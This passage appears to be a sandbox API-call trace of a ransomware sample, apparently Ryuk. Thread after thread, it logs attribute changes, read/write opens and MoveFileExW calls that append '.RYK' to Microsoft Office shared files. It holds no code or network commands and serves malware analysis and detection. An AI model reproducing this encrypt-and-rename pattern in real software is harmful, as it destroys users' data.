	[0167.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 606
	os_tid = 0x107c

	[0167.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", dwFileAttributes=0x80) returned 0
	[0167.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.791] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 607
	os_tid = 0x1080

	[0167.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", dwFileAttributes=0x80) returned 0
	[0167.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 608
	os_tid = 0x1084

	[0167.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", dwFileAttributes=0x80) returned 0
	[0167.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 609
	os_tid = 0x1088

	[0167.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", dwFileAttributes=0x80) returned 0
	[0167.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 610
	os_tid = 0x108c

	[0167.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", dwFileAttributes=0x80) returned 0
	[0167.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 611
	os_tid = 0x1090

	[0167.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", dwFileAttributes=0x80) returned 0
	[0168.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 612
	os_tid = 0x1094

	[0167.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM", dwFileAttributes=0x80) returned 0
	[0168.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.039] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 613
	os_tid = 0x1098

	[0167.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", dwFileAttributes=0x80) returned 0
	[0168.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.041] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 614
	os_tid = 0x109c

	[0167.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", dwFileAttributes=0x80) returned 0
	[0168.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.043] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 615
	os_tid = 0x10a0

	[0167.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", dwFileAttributes=0x80) returned 0
	[0168.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.057] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 616
	os_tid = 0x10a4

	[0167.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX", dwFileAttributes=0x80) returned 0
	[0167.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 617
	os_tid = 0x10a8

	[0167.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", dwFileAttributes=0x80) returned 0
	[0167.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.852] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 618
	os_tid = 0x10ac

	[0167.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", dwFileAttributes=0x80) returned 0
	[0167.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 619
	os_tid = 0x10b0

	[0167.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX", dwFileAttributes=0x80) returned 0
	[0167.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.857] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 620
	os_tid = 0x10b4

	[0167.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", dwFileAttributes=0x80) returned 0
	[0167.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 621
	os_tid = 0x10b8

	[0167.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", dwFileAttributes=0x80) returned 0
	[0167.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.861] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 622
	os_tid = 0x10bc

	[0168.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", dwFileAttributes=0x80) returned 0
	[0168.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.247] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 623
	os_tid = 0x10c0

	[0168.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", dwFileAttributes=0x80) returned 0
	[0168.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.249] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 624
	os_tid = 0x10c4

	[0168.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", dwFileAttributes=0x80) returned 0
	[0168.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 625
	os_tid = 0x10c8

	[0168.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", dwFileAttributes=0x80) returned 0
	[0168.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.267] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 626
	os_tid = 0x10cc

	[0168.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config", dwFileAttributes=0x80) returned 0
	[0168.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 627
	os_tid = 0x10d0

	[0168.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", dwFileAttributes=0x80) returned 0
	[0168.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 628
	os_tid = 0x10d4

	[0168.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", dwFileAttributes=0x80) returned 0
	[0168.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 629
	os_tid = 0x10d8

	[0168.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG", dwFileAttributes=0x80) returned 0
	[0168.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 630
	os_tid = 0x10dc

